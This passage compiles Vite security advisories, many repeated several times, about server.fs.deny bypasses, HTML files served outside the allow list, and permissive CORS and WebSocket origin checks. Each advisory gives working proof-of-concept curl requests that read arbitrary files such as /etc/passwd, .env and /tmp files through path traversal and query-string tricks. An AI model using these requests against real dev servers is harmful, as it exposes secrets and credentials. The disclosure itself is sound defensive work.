Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev
Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response, because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

🚨 Vite's `server.fs` settings were not applied to HTML files

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:
npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev
Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev
Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response, because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

🚨 Vite's `server.fs` settings were not applied to HTML files

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:
npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev
Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev
Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response, because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

🚨 Vite's `server.fs` settings were not applied to HTML files

Summary

Any HTML files on the machine were served regardless of the server.fs settings.

Impact

Only apps that match the following conditions are affected:

explicitly exposes the Vite dev server to the network (using --host or server.host config option)

appType: 'spa' (default) or appType: 'mpa' is used

This vulnerability also affects the preview server. The preview server allowed HTML files not under the output directory to be served.

Details

The serveStaticMiddleware function is in charge of serving static files from the server. It returns the viteServeStaticMiddleware function which runs the needed tests and serves the page. The viteServeStaticMiddleware function checks if the extension of the requested file is ".html". If so, it doesn't serve the page. Instead, the server will go on to the next middlewares, in this case htmlFallbackMiddleware, and then to indexHtmlMiddleware. These middlewares don't perform any test against allow or deny rules, and they don't make sure that the accessed file is in the root directory of the server. They just find the file and send back its contents to the client.

PoC

Execute the following shell commands:
npm  create  vite@latest
cd vite-project/
echo  "secret" > /tmp/secret.html
npm install
npm run dev
Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/../../../../../../../../../../../tmp/secret.html'

The contents of /tmp/secret.html will be returned.

This will also work for HTML files that are in the root directory of the project, but are in the deny list (or not in the allow list). Test that by stopping the running server (CTRL+C), and running the following commands in the server's shell:
echo  'import path from "node:path"; import { defineConfig } from "vite"; export default defineConfig({server: {fs: {deny: [path.resolve(__dirname, "secret_files/*")]}}})'  >  [vite.config.js](http://vite.config.js)
mkdir secret_files
echo "secret txt" > secret_files/secret.txt
echo "secret html" > secret_files/secret.html
npm run dev
Then, in a different shell, run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.txt'

You will receive a 403 HTTP Response, because everything in the secret_files directory is denied.

Now in the same shell run the following command:

curl -v --path-as-is 'http://localhost:5173/secret_files/secret.html'

You will receive the contents of secret_files/secret.html.

🚨 Vite's server.fs.deny bypassed with /. for files under project root

Summary

The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root and are denied by a file matching pattern can be bypassed.

Examples of file matching patterns: .env, .env.*, *.{crt,pem}, **/.env

Examples of other patterns: **/.git/**, .git/**, .git/**/*

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns).
These patterns were able to bypass for files under root by using a combination of slash and dot (/.).

PoC
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173

🚨 Vite's server.fs.deny bypassed with /. for files under project root

Summary

The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root and are denied by a file matching pattern can be bypassed.

Examples of file matching patterns: .env, .env.*, *.{crt,pem}, **/.env

Examples of other patterns: **/.git/**, .git/**, .git/**/*

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns).
These patterns were able to bypass for files under root by using a combination of slash and dot (/.).

PoC
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173

🚨 Vite's server.fs.deny bypassed with /. for files under project root

Summary

The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root and are denied by a file matching pattern can be bypassed.

Examples of file matching patterns: .env, .env.*, *.{crt,pem}, **/.env

Examples of other patterns: **/.git/**, .git/**, .git/**/*

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns).
These patterns were able to bypass for files under root by using a combination of slash and dot (/.).

PoC
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173

🚨 Vite's server.fs.deny bypassed with /. for files under project root

Summary

The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root and are denied by a file matching pattern can be bypassed.

Examples of file matching patterns: .env, .env.*, *.{crt,pem}, **/.env

Examples of other patterns: **/.git/**, .git/**, .git/**/*

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns).
These patterns were able to bypass for files under root by using a combination of slash and dot (/.).

PoC
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173

🚨 Vite's server.fs.deny bypassed with /. for files under project root

Summary

The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root and are denied by a file matching pattern can be bypassed.

Examples of file matching patterns: .env, .env.*, *.{crt,pem}, **/.env

Examples of other patterns: **/.git/**, .git/**, .git/**/*

Details

server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns).
These patterns were able to bypass for files under root by using a combination of slash and dot (/.).

PoC
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173

🚨 Vite has an `server.fs.deny` bypass with an invalid `request-target`

Summary

The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.

Impact

Only apps with the following conditions are affected.

explicitly exposing the Vite dev server to the network (using --host or server.host config option)

running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)

Details

HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).

On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check.

On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url did not contain #.

PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read /etc/passwd
curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

🚨 Vite has an `server.fs.deny` bypass with an invalid `request-target`

Summary

The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.

Impact

Only apps with the following conditions are affected.

explicitly exposing the Vite dev server to the network (using --host or server.host config option)

running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)

Details

HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).

On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check.

On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url did not contain #.

PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read /etc/passwd
curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

🚨 Vite has an `server.fs.deny` bypass with an invalid `request-target`

Summary

The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.

Impact

Only apps with the following conditions are affected.

explicitly exposing the Vite dev server to the network (using --host or server.host config option)

running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)

Details

HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).

On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check.

On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url did not contain #.

PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read /etc/passwd
curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

🚨 Vite has an `server.fs.deny` bypass with an invalid `request-target`

Summary

The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.

Impact

Only apps with the following conditions are affected.

explicitly exposing the Vite dev server to the network (using --host or server.host config option)

running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)

Details

HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).

On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check.

On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url did not contain #.

PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read /etc/passwd
curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

🚨 Vite has an `server.fs.deny` bypass with an invalid `request-target`

Summary

The contents of arbitrary files can be returned to the browser if the dev server is running on Node or Bun.

Impact

Only apps with the following conditions are affected.

explicitly exposing the Vite dev server to the network (using --host or server.host config option)

running the Vite dev server on runtimes that are not Deno (e.g. Node, Bun)

Details

HTTP 1.1 spec (RFC 9112) does not allow # in request-target. Although an attacker can send such a request. For those requests with an invalid request-line (it includes request-target), the spec recommends to reject them with 400 or 301. The same can be said for HTTP 2 (ref1, ref2, ref3).

On Node and Bun, those requests are not rejected internally and is passed to the user land. For those requests, the value of http.IncomingMessage.url contains #. Vite assumed req.url won't contain # when checking server.fs.deny, allowing those kinds of requests to bypass the check.

On Deno, those requests are not rejected internally and is passed to the user land as well. But for those requests, the value of http.IncomingMessage.url did not contain #.

PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read /etc/passwd
curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173

🚨 Vite allows server.fs.deny to be bypassed with .svg or relative paths

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

.svg

Requests ending with .svg are loaded at this line.

vite/packages/vite/src/node/plugins/asset.ts

Lines 285 to 290 in 037f801

if (svgExtRE.test(id)) {

const file = publicFile || cleanUrl(id)

const content = await fsp.readFile(file)

if (shouldInline(environment, file, id, content, undefined, undefined)) {

return assetToDataURL(environment, file, content)

}

By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

🚨 Vite allows server.fs.deny to be bypassed with .svg or relative paths

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

.svg

Requests ending with .svg are loaded at this line.

vite/packages/vite/src/node/plugins/asset.ts

Lines 285 to 290 in 037f801

if (svgExtRE.test(id)) {

const file = publicFile || cleanUrl(id)

const content = await fsp.readFile(file)

if (shouldInline(environment, file, id, content, undefined, undefined)) {

return assetToDataURL(environment, file, content)

}

By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

🚨 Vite allows server.fs.deny to be bypassed with .svg or relative paths

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

.svg

Requests ending with .svg are loaded at this line.

vite/packages/vite/src/node/plugins/asset.ts

Lines 285 to 290 in 037f801

if (svgExtRE.test(id)) {

const file = publicFile || cleanUrl(id)

const content = await fsp.readFile(file)

if (shouldInline(environment, file, id, content, undefined, undefined)) {

return assetToDataURL(environment, file, content)

}

By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

🚨 Vite allows server.fs.deny to be bypassed with .svg or relative paths

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

.svg

Requests ending with .svg are loaded at this line.

vite/packages/vite/src/node/plugins/asset.ts

Lines 285 to 290 in 037f801

if (svgExtRE.test(id)) {

const file = publicFile || cleanUrl(id)

const content = await fsp.readFile(file)

if (shouldInline(environment, file, id, content, undefined, undefined)) {

return assetToDataURL(environment, file, content)

}

By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

🚨 Vite allows server.fs.deny to be bypassed with .svg or relative paths

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

.svg

Requests ending with .svg are loaded at this line.

vite/packages/vite/src/node/plugins/asset.ts

Lines 285 to 290 in 037f801

if (svgExtRE.test(id)) {

const file = publicFile || cleanUrl(id)

const content = await fsp.readFile(file)

if (shouldInline(environment, file, id, content, undefined, undefined)) {

return assetToDataURL(environment, file, content)

}

By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.

This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.

relative paths

The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).

PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'

🚨 Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init)

content of non-allowed files is exposed using ?raw?import

/@fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

🚨 Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init)

content of non-allowed files is exposed using ?raw?import

/@fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

🚨 Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init)

content of non-allowed files is exposed using ?raw?import

/@fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

🚨 Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init)

content of non-allowed files is exposed using ?raw?import

/@fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

🚨 Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init)

content of non-allowed files is exposed using ?raw?import

/@fs/ isn't needed to reproduce the issue for files inside the project root.

PoC

Original report (check details above for simplified cases):

The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init

🚨 Vite bypasses server.fs.deny when using ?raw??

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

🚨 Vite bypasses server.fs.deny when using ?raw??

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

🚨 Vite bypasses server.fs.deny when using ?raw??

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

🚨 Vite bypasses server.fs.deny when using ?raw??

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

🚨 Vite bypasses server.fs.deny when using ?raw??

Summary

The contents of arbitrary files can be returned to the browser.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.

PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

🚨 Websites were able to send any requests to the development server and read the response in vite

Summary

Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections.

Warning

This vulnerability even applies to users that only run the Vite dev server on the local machine and does not expose the dev server to the network.

Upgrade Path

Users that does not match either of the following conditions should be able to upgrade to a newer version of Vite that fixes the vulnerability without any additional configuration.

Using the backend integration feature

Using a reverse proxy in front of Vite

Accessing the development server via a domain other than localhost or *.localhost

Using a plugin / framework that connects to the WebSocket server on their own from the browser

Using the backend integration feature

If you are using the backend integration feature and not setting server.origin, you need to add the origin of the backend server to the server.cors.origin option. Make sure to set a specific origin rather than *, otherwise any origin can access your development server.

Using a reverse proxy in front of Vite

If you are using a reverse proxy in front of Vite and sending requests to Vite with a hostname other than localhost or *.localhost, you need to add the hostname to the new server.allowedHosts option. For example, if the reverse proxy is sending requests to http://vite:5173, you need to add vite to the server.allowedHosts option.

Accessing the development server via a domain other than localhost or *.localhost

You need to add the hostname to the new server.allowedHosts option. For example, if you are accessing the development server via http://foo.example.com:8080, you need to add foo.example.com to the server.allowedHosts option.

Using a plugin / framework that connects to the WebSocket server on their own from the browser

If you are using a plugin / framework, try upgrading to a newer version of Vite that fixes the vulnerability. If the WebSocket connection appears not to be working, the plugin / framework may have a code that connects to the WebSocket server on their own from the browser.

In that case, you can either:

fix the plugin / framework code to the make it compatible with the new version of Vite

set legacy.skipWebSocketTokenCheck: true to opt-out the fix for [2] while the plugin / framework is incompatible with the new version of Vite

When enabling this option, make sure that you are aware of the security implications described in the impact section of [2] above.

Mitigation without upgrading Vite

[1]: Permissive default CORS settings

Set server.cors to false or limit server.cors.origin to trusted origins.

[2]: Lack of validation on the Origin header for WebSocket connections

There aren't any mitigations for this.

[3]: Lack of validation on the Host header for HTTP requests

Use Chrome 94+ or use HTTPS for the development server.

Details

There are three causes that allowed malicious websites to send any requests to the development server:

[1]: Permissive default CORS settings

Vite sets the Access-Control-Allow-Origin header depending on server.cors option. The default value was true which sets Access-Control-Allow-Origin: *. This allows websites on any origin to fetch contents served on the development server.

Attack scenario:

The attacker serves a malicious web page (http://malicious.example.com).

The user accesses the malicious web page.

The attacker sends a fetch('http://127.0.0.1:5173/main.js') request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.

The attacker gets the content of http://127.0.0.1:5173/main.js.

[2]: Lack of validation on the Origin header for WebSocket connections

